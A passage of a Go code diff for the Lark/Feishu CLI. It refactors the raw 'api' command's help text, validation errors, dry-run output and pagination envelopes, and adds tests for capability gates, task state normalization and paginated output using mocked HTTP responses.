+	assertUnsupportedCapability(t, agentContextGetRun(opts), "fakeunsup:a1")
+}
+
+// TestArtifactDownloadUnsupportedGated pins the artifact_download gate: fakeunsup
+// does not wire DownloadArtifact, so `task get --artifact` returns
+// unsupported_capability (exit 2) before any download.
+func TestArtifactDownloadUnsupportedGated(t *testing.T) {
+	f := unsupFactory(t)
+	opts := &taskOptions{
+		Factory: f, Cmd: taskCmdCtx(t, "get"), Ref: "fakeunsup:a1", TaskID: "t1",
+		ArtifactID: "art_1", Output: "out_unsup.bin", As: "bot", Format: "json",
+	}
+	assertUnsupportedCapability(t, agentTaskGetRun(opts), "fakeunsup:a1")
+}
+
+// TestSendFileUnsupportedGated pins the --file capability gate: example:echo
+// declares file_input=false, so `send --file` returns unsupported_capability
+// (exit 2) — this gate answers BEFORE the --yes confirmation and before any
+// network, so no file is opened and no request is issued.
+func TestSendFileUnsupportedGated(t *testing.T) {
+	mkSendFile(t, "whatever.txt")
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	err := agentSendRun(&sendOptions{
+		Factory: f, Cmd: sendCmdCtx(t), Ref: "example:echo", Text: "hi",
+		Files: []string{"whatever.txt"}, As: "bot", Format: "json",
+	})
+	assertUnsupportedCapability(t, err, "example:echo")
+}
+
+// TestTaskGetDerivesIsTerminalFromState pins the normalizeTask wiring: a
+// provider returning a State/IsTerminal-mismatched task (completed +
+// is_terminal=false) must emit is_terminal=true — the command layer derives
+// the flag from State, the single source of truth.
+func TestTaskGetDerivesIsTerminalFromState(t *testing.T) {
+	registerFakeUnsup()
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	opts := &taskOptions{
+		Factory: f, Cmd: taskCmdCtx(t, "get"), Ref: "fakeunsup:a1", TaskID: "t1", As: "bot", Format: "json",
+	}
+	out := f.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentTaskGetRun(opts); err != nil {
+		t.Fatalf("task get should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
+	}
+	data, _ := env.Data.(map[string]interface{})
+	if data["state"] != "completed" {
+		t.Fatalf("data.state should be completed, got %v", data["state"])
+	}
+	if data["is_terminal"] != true {
+		t.Errorf("is_terminal should be derived from State as true (correcting a provider that set false), got %v", data["is_terminal"])
+	}
+}
+
+// TestNormalizeTaskSummaries_DerivesFromState pins the summary-side derivation
+// (task list runs its summaries through this helper; context get derives the
+// single active_task's flag inline the same way).
+func TestNormalizeTaskSummaries_DerivesFromState(t *testing.T) {
+	ts := normalizeTaskSummaries([]iagents.TaskSummary{
+		{TaskID: "t1", State: iagents.StateCompleted, IsTerminal: false}, // missing
+		{TaskID: "t2", State: iagents.StateWorking, IsTerminal: true},    // wrong
+	})
+	if !ts[0].IsTerminal {
+		t.Error("completed summary should derive is_terminal=true")
+	}
+	if ts[1].IsTerminal {
+		t.Error("working summary should derive is_terminal=false")
+	}
+	if normalizeTask(nil) != "" {
+		t.Error("normalizeTask(nil) should be nil-safe")
+	}
+}

cmd/api/api.go

@@ -10,6 +10,7 @@ import (
 	"regexp"
 	"strings"
 
+	"github.com/larksuite/cli/errs"
 	"github.com/larksuite/cli/internal/client"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
@@ -66,8 +67,21 @@ func NewCmdApiWithContext(ctx context.Context, f *cmdutil.Factory, runF func(*AP
 
 	cmd := &cobra.Command{
 		Use:   "api <method> <path>",
-		Short: "Generic Lark API requests",
-		Args:  cobra.ExactArgs(2),
+		Short: "Raw HTTP escape hatch — call any endpoint by path (fallback when no typed command exists)",
+		Long: `Raw HTTP escape hatch: send any Lark API request by HTTP method + path.
+
+Prefer the typed domain command when one exists — it validates parameters,
+shows the Risk level, gates destructive calls behind --yes, and carries usage
+guidance that this raw command does not. If a domain command covers your task
+(browse with ` + "`lark-cli <domain> --help`" + `), use it instead of this.
+
+Reach for ` + "`api`" + ` only for endpoints that have no typed command yet (e.g.
+newer/preview APIs), where you already have the HTTP path from the Lark docs.
+
+Examples:
+  lark-cli api GET /open-apis/calendar/v4/calendars
+  lark-cli api POST /open-apis/im/v1/messages --params '{"receive_id_type":"open_id"}' --data @body.json`,
+		Args: cobra.ExactArgs(2),
 		RunE: func(cmd *cobra.Command, args []string) error {
 			opts.Method = strings.ToUpper(args[0])
 			opts.Path = args[1]
@@ -90,6 +104,7 @@ func NewCmdApiWithContext(ctx context.Context, f *cmdutil.Factory, runF func(*AP
 	cmd.Flags().IntVar(&opts.PageLimit, "page-limit", 10, "max pages to fetch with --page-all (0 = unlimited)")
 	cmd.Flags().IntVar(&opts.PageDelay, "page-delay", 200, "delay in ms between pages")
 	cmd.Flags().StringVar(&opts.Format, "format", "json", "output format: json|ndjson|table|csv")
+	cmd.Flags().Bool("json", false, "shorthand for --format json")
 	cmd.Flags().StringVarP(&opts.JqExpr, "jq", "q", "", "jq expression to filter JSON output")
 	cmd.Flags().BoolVar(&opts.DryRun, "dry-run", false, "print request without executing")
 	cmd.Flags().StringVar(&opts.File, "file", "", "file to upload as multipart/form-data ([field=]path, supports - for stdin)")
@@ -115,6 +130,13 @@ func buildAPIRequest(opts *APIOptions) (client.RawApiRequest, *cmdutil.FileUploa
 	stdin := opts.Factory.IOStreams.In
 	fileIO := opts.Factory.ResolveFileIO(opts.Ctx)
 
+	if opts.Method == "" {
+		return client.RawApiRequest{}, nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"HTTP method must not be empty").
+			WithHint("pass the verb as the first argument, e.g. lark-cli api GET /open-apis/...").
+			WithParam("<method>")
+	}
+
 	// Validate --file mutual exclusions first.
 	if err := cmdutil.ValidateFileFlag(opts.File, opts.Params, opts.Data, opts.Output, opts.PageAll, opts.Method); err != nil {
 		return client.RawApiRequest{}, nil, err
@@ -122,7 +144,13 @@ func buildAPIRequest(opts *APIOptions) (client.RawApiRequest, *cmdutil.FileUploa
 
 	// stdin conflict: --params and --data cannot both read from stdin, regardless of --file.
 	if opts.Params == "-" && opts.Data == "-" {
-		return client.RawApiRequest{}, nil, output.ErrValidation("--params and --data cannot both read from stdin (-)")
+		return client.RawApiRequest{}, nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"--params and --data cannot both read from stdin (-)").
+			WithHint("pass at most one flag as '-'; give the other inline JSON or @file").
+			WithParams(
+				errs.InvalidParam{Name: "--params", Reason: "reads from stdin (-)"},
+				errs.InvalidParam{Name: "--data", Reason: "reads from stdin (-)"},
+			)
 	}
 
 	params, err := cmdutil.ParseJSONMap(opts.Params, "--params", stdin, fileIO)
@@ -152,7 +180,10 @@ func buildAPIRequest(opts *APIOptions) (client.RawApiRequest, *cmdutil.FileUploa
 				return client.RawApiRequest{}, nil, err
 			}
 			if _, ok := dataFields.(map[string]any); !ok {
-				return client.RawApiRequest{}, nil, output.ErrValidation("--data must be a JSON object when used with --file")
+				return client.RawApiRequest{}, nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
+					"--data must be a JSON object when used with --file").
+					WithHint(`with --file, --data carries multipart form fields, e.g. --data '{"image_type":"message"}'`).
+					WithParam("--data")
 			}
 		}
 
@@ -195,7 +226,13 @@ func apiRun(opts *APIOptions) error {
 	}
 
 	if opts.PageAll && opts.Output != "" {
-		return output.ErrValidation("--output and --page-all are mutually exclusive")
+		return errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"--output and --page-all are mutually exclusive").
+			WithHint("drop --page-all to save a binary response, or drop --output to paginate JSON").
+			WithParams(
+				errs.InvalidParam{Name: "--output", Reason: "conflicts with --page-all"},
+				errs.InvalidParam{Name: "--page-all", Reason: "conflicts with --output"},
+			)
 	}
 	if err := output.ValidateJqFlags(opts.JqExpr, opts.Output, opts.Format); err != nil {
 		return err
@@ -213,9 +250,9 @@ func apiRun(opts *APIOptions) error {
 
 	if opts.DryRun {
 		if fileMeta != nil {
-			return cmdutil.PrintDryRunWithFile(f.IOStreams.Out, request, config, opts.Format, fileMeta.FieldName, fileMeta.FilePath, fileMeta.FormFields)
+			return cmdutil.PrintDryRunWithFile(request, config, dryRunOutputOptions(f, opts), *fileMeta)
 		}
-		return apiDryRun(f, request, config, opts.Format)
+		return apiDryRun(f, request, config, opts)
 	}
 	// Identity info is now included in the JSON envelope; skip stderr printing.
 	// cmdutil.PrintIdentity(f.IOStreams.ErrOut, opts.As, config, f.IdentityAutoDetected)
@@ -232,7 +269,7 @@ func apiRun(opts *APIOptions) error {
 	}
 
 	if opts.PageAll {
-		return apiPaginate(opts.Ctx, ac, request, format, opts.JqExpr, out, f.IOStreams.ErrOut,
+		return apiPaginate(opts.Ctx, ac, request, format, opts.JqExpr, out, f.IOStreams.ErrOut, opts.Cmd.CommandPath(),
 			client.PaginationOptions{PageLimit: opts.PageLimit, PageDelay: opts.PageDelay})
 	}
 
@@ -242,7 +279,7 @@ func apiRun(opts *APIOptions) error {
 		// pass on *output.ExitError values. Typed *errs.* errors that flow
 		// through here keep their canonical message / hint from BuildAPIError;
 		// MarkRaw is a no-op on those (it only flips a flag on *ExitError).
-		return output.MarkRaw(err)
+		return errs.MarkRaw(err)
 	}
 	err = client.HandleResponse(resp, client.ResponseOptions{
 		OutputPath:  opts.Output,
@@ -262,55 +299,94 @@ func apiRun(opts *APIOptions) error {
 	// MarkRaw: see comment above on the DoAPI path. Skips legacy
 	// *ExitError enrichment; typed errors flow through unchanged.
 	if err != nil {
-		return output.MarkRaw(err)
+		return errs.MarkRaw(err)
 	}
 	return nil
 }
 
-func apiDryRun(f *cmdutil.Factory, request client.RawApiRequest, config *core.CliConfig, format string) error {
-	return cmdutil.PrintDryRun(f.IOStreams.Out, request, config, format)
+func apiDryRun(f *cmdutil.Factory, request client.RawApiRequest, config *core.CliConfig, opts *APIOptions) error {
+	return cmdutil.PrintDryRun(request, config, dryRunOutputOptions(f, opts))
 }
 
-func apiPaginate(ctx context.Context, ac *client.APIClient, request client.RawApiRequest, format output.Format, jqExpr string, out, errOut io.Writer, pagOpts client.PaginationOptions) error {
+func dryRunOutputOptions(f *cmdutil.Factory, opts *APIOptions) cmdutil.DryRunOutputOptions {
+	return cmdutil.DryRunOutputOptions{
+		Format:      opts.Format,
+		JqExpr:      opts.JqExpr,
+		CommandPath: opts.Cmd.CommandPath(),
+		Identity:    opts.As,
+		Out:         f.IOStreams.Out,
+		ErrOut:      f.IOStreams.ErrOut,
+	}
+}
+
+func apiPaginate(ctx context.Context, ac *client.APIClient, request client.RawApiRequest, format output.Format, jqExpr string, out, errOut io.Writer, commandPath string, pagOpts client.PaginationOptions) error {
 	if pagOpts.Identity == "" {
 		pagOpts.Identity = request.As
 	}
 	// When jq is set, always aggregate all pages then filter.
 	if jqExpr != "" {
-		if err := client.PaginateWithJq(ctx, ac, request, jqExpr, out, pagOpts, ac.CheckResponse); err != nil {
-			return output.MarkRaw(err)
+		result, err := ac.PaginateAll(ctx, request, pagOpts)
+		if err != nil {
+			return errs.MarkRaw(err)
 		}
-		return nil
+		if apiErr := ac.CheckResponse(result, pagOpts.Identity); apiErr != nil {
+			output.FormatValue(out, result, output.FormatJSON)
+			return errs.MarkRaw(apiErr)
+		}
+		return output.WriteSuccessEnvelope(output.SuccessEnvelopeData(result), output.SuccessEnvelopeOptions{
+			CommandPath: commandPath,
+			Identity:    string(pagOpts.Identity),
+			JqExpr:      jqExpr,
+			Out:         out,
+			ErrOut:      errOut,
+		})
 	}
 
 	switch format {
 	case output.FormatNDJSON, output.FormatTable, output.FormatCSV:
-		pf := output.NewPaginatedFormatter(out, format)
-		result, hasItems, err := ac.StreamPages(ctx, request, func(items []interface{}) {
-			pf.FormatPage(items)
+		emitter := output.NewEmitter(output.EmitterConfig{
+			Out:            out,
+			ErrOut:         errOut,
+			CommandPath:    commandPath,
+			Identity:       string(pagOpts.Identity),
+			NoticeProvider: output.GetNotice,
+		})
+		result, hasItems, err := ac.StreamPages(ctx, request, func(items []interface{}) error {
+			// Streaming formats intentionally emit each page after that page has
+			// passed safety scanning. A later page may still fail, so callers
+			// must use the exit code to distinguish complete vs partial output.
+			return emitter.StreamPage(items, output.StreamOptions{Format: format.String()})
 		}, pagOpts)
 		if err != nil {
-			return output.MarkRaw(err)
+			return errs.MarkRaw(err)
 		}
 		if apiErr := ac.CheckResponse(result, pagOpts.Identity); apiErr != nil {
-			output.FormatValue(out, result, output.FormatJSON)
-			return output.MarkRaw(apiErr)
+			return errs.MarkRaw(apiErr)
 		}
 		if !hasItems {
 			fmt.Fprintf(errOut, "warning: this API does not return a list, format %q is not supported, falling back to json\n", format)
-			output.FormatValue(out, result, output.FormatJSON)
+			return output.WriteSuccessEnvelope(output.SuccessEnvelopeData(result), output.SuccessEnvelopeOptions{
+				CommandPath: commandPath,
+				Identity:    string(pagOpts.Identity),
+				Out:         out,
+				ErrOut:      errOut,
+			})
 		}
 		return nil
 	default:
 		result, err := ac.PaginateAll(ctx, request, pagOpts)
 		if err != nil {
-			return output.MarkRaw(err)
+			return errs.MarkRaw(err)
 		}
 		if apiErr := ac.CheckResponse(result, pagOpts.Identity); apiErr != nil {
 			output.FormatValue(out, result, output.FormatJSON)
-			return output.MarkRaw(apiErr)
+			return errs.MarkRaw(apiErr)
 		}
-		output.FormatValue(out, result, format)
-		return nil
+		return output.WriteSuccessEnvelope(output.SuccessEnvelopeData(result), output.SuccessEnvelopeOptions{
+			CommandPath: commandPath,
+			Identity:    string(pagOpts.Identity),
+			Out:         out,
+			ErrOut:      errOut,
+		})
 	}
 }

cmd/api/api_paginate_test.go

@@ -0,0 +1,396 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package api
+
+import (
+	"bytes"
+	"context"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"io"
+	"net/http"
+	"testing"
+
+	"github.com/larksuite/cli/errs"
+	"github.com/larksuite/cli/internal/client"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/httpmock"
+	"github.com/larksuite/cli/internal/output"
+)
+
+type apiFailOnWriteWriter struct {
+	buf    bytes.Buffer
+	writes int
+	failAt int
+	err    error
+}
+
+func (w *apiFailOnWriteWriter) Write(p []byte) (int, error) {
+	w.writes++
+	if w.writes == w.failAt {
+		return 0, w.err
+	}
+	return w.buf.Write(p)
+}
+
+func newAPIPaginateTestHarness(t *testing.T) (*client.APIClient, *bytes.Buffer, *bytes.Buffer, *httpmock.Registry) {
+	t.Helper()
+	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
+	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "off")
+	previousNotice := output.PendingNotice
+	output.PendingNotice = nil
+	t.Cleanup(func() { output.PendingNotice = previousNotice })
+
+	config := &core.CliConfig{
+		AppID:     "test-app",
+		AppSecret: "test-secret",
+		Brand:     core.BrandFeishu,
+	}
+	f, out, errOut, reg := cmdutil.TestFactory(t, config)
+	ac, err := f.NewAPIClientWithConfig(config)
+	if err != nil {
+		t.Fatalf("NewAPIClientWithConfig() error = %v", err)
+	}
+	ac.ErrOut = io.Discard
+	return ac, out, errOut, reg
+}
+
+func apiPaginateRequest() client.RawApiRequest {
+	return client.RawApiRequest{
+		Method: "GET",
+		URL:    "/open-apis/test/v1/items",
+		As:     core.AsBot,
+	}
+}
+
+func assertAPIPaginateJSONBytes(t *testing.T, got []byte, want interface{}) {
+	t.Helper()
+	wantBytes, err := json.MarshalIndent(want, "", "  ")
+	if err != nil {
+		t.Fatalf("marshal expected JSON: %v", err)
+	}
+	wantBytes = append(wantBytes, '\n')
+	if !bytes.Equal(got, wantBytes) {
+		t.Fatalf("stdout bytes mismatch\ngot:\n%s\nwant:\n%s", got, wantBytes)
+	}
+}
+
+func TestAPIPaginate_DefaultAggregatesAllPages(t *testing.T) {
+	ac, out, errOut, reg := newAPIPaginateTestHarness(t)
+	calls := 0
+	wantTokens := []string{"", "next-1", "next-2"}
+	for i, wantToken := range wantTokens {
+		page := i + 1
+		hasMore := page < len(wantTokens)
+		data := map[string]interface{}{
+			"items":    []interface{}{map[string]interface{}{"id": string(rune('0' + page))}},
+			"has_more": hasMore,
+		}
+		if hasMore {
+			data["page_token"] = wantTokens[page]
+		}
+		reg.Register(&httpmock.Stub{
+			URL: "/open-apis/test/v1/items",
+			OnMatch: func(req *http.Request) {
+				calls++
+				if got := req.URL.Query().Get("page_token"); got != wantToken {
+					t.Errorf("request %d page_token = %q, want %q", page, got, wantToken)
+				}
+			},
+			Body: map[string]interface{}{
+				"code": 0,
+				"msg":  "ok",
+				"data": data,
+			},
+		})
+	}
+
+	err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
+		output.FormatJSON, "", out, errOut, "lark-cli api GET", client.PaginationOptions{
+			PageLimit: 10,
+			PageDelay: -1,
+		})
+
+	if err != nil {
+		t.Fatalf("apiPaginate() error = %v, want nil", err)
+	}
+	if calls != 3 {
+		t.Fatalf("pagination requests = %d, want 3", calls)
+	}
+	assertAPIPaginateJSONBytes(t, out.Bytes(), output.Envelope{
+		OK:       true,
+		Identity: "bot",
+		Data: map[string]interface{}{
+			"items": []interface{}{
+				map[string]interface{}{"id": "1"},
+				map[string]interface{}{"id": "2"},
+				map[string]interface{}{"id": "3"},
+			},
+			"has_more": false,
+		},
+	})
+	if got := errOut.String(); got != "" {
+		t.Fatalf("stderr bytes = %q, want empty", got)
+	}
+}
+
+func TestAPIPaginate_StreamingFormatsEmitExactMultiPageBytes(t *testing.T) {
+	tests := []struct {
+		name   string
+		format output.Format
+		want   string
+	}{
+		{
+			name:   "ndjson",
+			format: output.FormatNDJSON,
+			want:   "{\"id\":\"1\",\"name\":\"Alice\"}\n{\"id\":\"2\",\"name\":\"Carol\",\"page_only\":\"ignored\"}\n",
+		},
+		{
+			name:   "table",
+			format: output.FormatTable,
+			want:   "id  name \n──  ─────\n1   Alice\n2   Carol\n",
+		},
+		{
+			name:   "csv",
+			format: output.FormatCSV,
+			want:   "id,name\n1,Alice\n2,Carol\n",
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			ac, out, errOut, reg := newAPIPaginateTestHarness(t)
+			reg.Register(&httpmock.Stub{
+				URL: "/open-apis/test/v1/items",
+				Body: map[string]interface{}{
+					"code": 0,
+					"msg":  "ok",
+					"data": map[string]interface{}{
+						"items": []interface{}{
+							map[string]interface{}{"id": "1", "name": "Alice"},
+						},
+						"has_more":   true,
+						"page_token": "next-1",
+					},
+				},
+			})
+			reg.Register(&httpmock.Stub{
+				URL: "/open-apis/test/v1/items",
+				Body: map[string]interface{}{
+					"code": 0,
+					"msg":  "ok",
+					"data": map[string]interface{}{
+						"items": []interface{}{
+							map[string]interface{}{"id": "2", "name": "Carol", "page_only": "ignored"},
+						},
+						"has_more": false,
+					},
+				},
+			})
+
+			err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
+				tt.format, "", out, errOut, "lark-cli api GET", client.PaginationOptions{
+					PageLimit: 10,
+					PageDelay: -1,
+				})
+
+			if err != nil {
+				t.Fatalf("apiPaginate() error = %v, want nil", err)
+			}
+			if got := out.String(); got != tt.want {
+				t.Fatalf("stdout byte mismatch\ngot (%d bytes):\n%q\nwant (%d bytes):\n%q", len(got), got, len(tt.want), tt.want)
+			}
+			if got := errOut.String(); got != "" {
+				t.Fatalf("stderr bytes = %q, want empty", got)
+			}
+		})
+	}
+}
+
+func TestAPIPaginate_StreamingWriteFailureStopsFurtherPages(t *testing.T) {
+	ac, _, errOut, reg := newAPIPaginateTestHarness(t)
+	sentinel := errors.New("page write failed")
+	out := &apiFailOnWriteWriter{failAt: 2, err: sentinel}
+	calls := 0
+	for page := 1; page <= 2; page++ {
+		hasMore := true
+		data := map[string]interface{}{
+			"items":    []interface{}{map[string]interface{}{"id": page}},
+			"has_more": hasMore,
+		}
+		if hasMore {
+			data["page_token"] = fmt.Sprintf("next-%d", page)
+		}
+		reg.Register(&httpmock.Stub{
+			URL: "/open-apis/test/v1/items",
+			OnMatch: func(*http.Request) {
+				calls++
+			},
+			Body: map[string]interface{}{
+				"code": 0,
+				"msg":  "ok",
+				"data": data,
+			},
+		})
+	}
+
+	err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
+		output.FormatNDJSON, "", out, errOut, "lark-cli api GET",
+		client.PaginationOptions{PageLimit: 10, PageDelay: -1})
+
+	if !errors.Is(err, sentinel) {
+		t.Fatalf("apiPaginate() error = %v, want preserved writer cause", err)
+	}
+	problem, ok := errs.ProblemOf(err)
+	if !ok || problem.Category != errs.CategoryInternal {
+		t.Fatalf("apiPaginate() problem = %#v, %v; want internal typed error", problem, ok)
+	}
+	if calls != 2 {
+		t.Fatalf("pagination requests = %d, want 2", calls)
+	}
+	if got, want := out.buf.String(), "{\"id\":1}\n"; got != want {
+		t.Fatalf("stdout bytes = %q, want %q", got, want)
+	}
+}
+
+func TestAPIPaginate_StreamingFormatFallsBackToJSONWithoutList(t *testing.T) {
+	ac, out, errOut, reg := newAPIPaginateTestHarness(t)
+	reg.Register(&httpmock.Stub{
+		URL: "/open-apis/test/v1/items",
+		Body: map[string]interface{}{
+			"code": 0,
+			"msg":  "ok",
+			"data": map[string]interface{}{
+				"name":    "Test User",
+				"user_id": "u123",
+			},
+		},
+	})
+
+	err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
+		output.FormatNDJSON, "", out, errOut, "lark-cli api GET", client.PaginationOptions{PageDelay: -1})
+
+	if err != nil {
+		t.Fatalf("apiPaginate() error = %v, want nil", err)
+	}
+	assertAPIPaginateJSONBytes(t, out.Bytes(), output.Envelope{
+		OK:       true,
+		Identity: "bot",
+		Data: map[string]interface{}{
+			"name":    "Test User",
+			"user_id": "u123",
+		},
+	})
+	wantWarning := "warning: this API does not return a list, format \"ndjson\" is not supported, falling back to json\n"
+	if got := errOut.String(); got != wantWarning {
+		t.Fatalf("stderr bytes = %q, want %q", got, wantWarning)
+	}
+}
+
+func TestAPIPaginate_BusinessErrorsWriteRawAndAreMarkedRaw(t *testing.T) {
+	businessResponse := map[string]interface{}{
+		"code": 123456,
+		"msg":  "fixture business error",
+		"data": map[string]interface{}{"detail": "business failed"},
+	}
+	tests := []struct {
+		name   string
+		format output.Format
+		jqExpr string
+	}{
+		{name: "jq", format: output.FormatJSON, jqExpr: ".data.items"},
+		{name: "default_json", format: output.FormatJSON},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			ac, out, errOut, reg := newAPIPaginateTestHarness(t)
+			reg.Register(&httpmock.Stub{
+				URL:  "/open-apis/test/v1/items",
+				Body: businessResponse,
+			})
+
+			err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
+				tt.format, tt.jqExpr, out, errOut, "lark-cli api GET", client.PaginationOptions{PageDelay: -1})
+
+			if err == nil {
+				t.Fatal("apiPaginate() error = nil, want business error")
+			}
+			if !errs.IsRaw(err) {
+				t.Fatalf("errs.IsRaw(error) = false, want true; error = %T: %v", err, err)
+			}
+			assertAPIPaginateJSONBytes(t, out.Bytes(), businessResponse)
+			if bytes.Contains(out.Bytes(), []byte(`"ok": true`)) {
+				t.Fatalf("business-error stdout contains a success envelope:\n%s", out.Bytes())
+			}
+			if got := errOut.String(); got != "" {
+				t.Fatalf("stderr bytes = %q, want empty", got)
+			}
+		})
+	}
+}
+
+func TestAPIPaginate_TransportErrorsAreMarkedRaw(t *testing.T) {
+	tests := []struct {
+		name   string
+		format output.Format
+		jqExpr string
+	}{
+		{name: "jq_paginate_all", format: output.FormatJSON, jqExpr: ".data.items"},
+		{name: "stream_pages", format: output.FormatNDJSON},
+		{name: "default_paginate_all", format: output.FormatJSON},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			ac, out, errOut, _ := newAPIPaginateTestHarness(t)
+
+			err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
+				tt.format, tt.jqExpr, out, errOut, "lark-cli api GET", client.PaginationOptions{PageDelay: -1})
+
+			if err == nil {
+				t.Fatal("apiPaginate() error = nil, want transport error")
+			}
+			if !errs.IsRaw(err) {
+				t.Fatalf("errs.IsRaw(error) = false, want true; error = %T: %v", err, err)
+			}
+			if got := out.String(); got != "" {
+				t.Fatalf("stdout bytes = %q, want empty", got)
+			}
+			if got := errOut.String(); got != "" {
+				t.Fatalf("stderr bytes = %q, want empty", got)
+			}
+		})
+	}
+}
+
+func TestAPIPaginate_StreamBusinessErrorIsMarkedRaw(t *testing.T) {
+	ac, out, errOut, reg := newAPIPaginateTestHarness(t)
+	reg.Register(&httpmock.Stub{
+		URL: "/open-apis/test/v1/items",
+		Body: map[string]interface{}{
+			"code": 123456,
+			"msg":  "fixture business error",
+			"data": map[string]interface{}{},
+		},
+	})
+
+	err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
+		output.FormatNDJSON, "", out, errOut, "lark-cli api GET", client.PaginationOptions{PageDelay: -1})
+
+	if err == nil {
+		t.Fatal("apiPaginate() error = nil, want business error")
+	}
+	if !errs.IsRaw(err) {
+		t.Fatalf("errs.IsRaw(error) = false, want true; error = %T: %v", err, err)
+	}
+	if got := out.String(); got != "" {
+		t.Fatalf("stdout bytes = %q, want empty", got)
+	}
+	if got := errOut.String(); got != "" {
+		t.Fatalf("stderr bytes = %q, want empty", got)
+	}
+}

cmd/api/api_test.go

@@ -4,26 +4,48 @@
 package api
 
 import (
+	"bytes"
+	"context"
+	"encoding/json"
 	"errors"
+	"mime"
+	"mime/multipart"
 	"os"
+	"path/filepath"
 	"sort"
 	"strings"
 	"testing"
 
 	"github.com/larksuite/cli/errs"
+	extcs "github.com/larksuite/cli/extension/contentsafety"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
 	"github.com/larksuite/cli/internal/httpmock"
 	"github.com/spf13/cobra"
 )
 
+func newTestApiCmd(f *cmdutil.Factory, runF func(*APIOptions) error) *cobra.Command {
+	cmd := NewCmdApi(f, runF)
+	cmd.SilenceErrors = true
+	cmd.SilenceUsage = true
+	return cmd
+}
+
+func newTestRootCmd() *cobra.Command {
+	return &cobra.Command{
+		Use:           "lark-cli",
+		SilenceErrors: true,
+		SilenceUsage:  true,
+	}
+}
+
 func TestApiCmd_FlagParsing(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 
 	var gotOpts *APIOptions
-	cmd := NewCmdApi(f, func(opts *APIOptions) error {
+	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
 		gotOpts = opts
 		return nil
 	})
@@ -47,22 +69,70 @@ func TestApiCmd_FlagParsing(t *testing.T) {
 }
 
 func TestApiCmd_DryRun(t *testing.T) {
-	f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
+	f, stdout, stderr, _ := cmdutil.TestFactory(t, &core.CliConfig{
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 
-	cmd := NewCmdApi(f, nil)
+	cmd := newTestApiCmd(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot", "--dry-run"})
 	err := cmd.Execute()
 	if err != nil {
 		t.Fatalf("unexpected error: %v", err)
 	}
-	output := stdout.String()
-	if !strings.Contains(output, "Dry Run") {
-		t.Error("expected dry run output")
+	var got map[string]interface{}
+	if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
+		t.Fatalf("dry-run stdout is not JSON: %v\nstdout:\n%s\nstderr:\n%s", err, stdout.String(), stderr.String())
 	}
-	if !strings.Contains(output, "/open-apis/test") {
-		t.Error("expected path in dry run output")
+	if got["ok"] != true || got["identity"] != "bot" || got["dry_run"] != true {
+		t.Fatalf("unexpected dry-run envelope: %#v", got)
+	}
+	data, ok := got["data"].(map[string]interface{})
+	if !ok {
+		t.Fatalf("data = %#v, want object", got["data"])
+	}
+	api, ok := data["api"].([]interface{})
+	if !ok || len(api) != 1 {
+		t.Fatalf("api = %#v, want one call", data["api"])
+	}
+	call, ok := api[0].(map[string]interface{})
+	if !ok || call["url"] != "/open-apis/test" {
+		t.Fatalf("api[0] = %#v", api[0])
+	}
+	if strings.Contains(stdout.String(), "=== Dry Run ===") {
+		t.Fatalf("stdout should not contain dry-run banner: %s", stdout.String())
+	}
+}
+
+func TestApiCmd_DryRunWithJq(t *testing.T) {
+	f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
+		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
+	})
+
+	cmd := newTestApiCmd(f, nil)
+	cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot", "--dry-run", "--jq", ".data.api[0].url"})
+	if err := cmd.Execute(); err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+	if got := strings.TrimSpace(stdout.String()); got != "/open-apis/test" {
+		t.Fatalf("jq output = %q, want /open-apis/test", got)
+	}
+}
+
+// Regression: --params null parses to a nil map; writing page_size onto it must
+// not panic. Symmetric to the typed-flag overlay path in cmd/service — both
+// write into the map ParseJSONMap returns.
+func TestApiCmd_NullParamsWithPageSize(t *testing.T) {
+	f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
+		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
+	})
+
+	cmd := newTestApiCmd(f, nil)
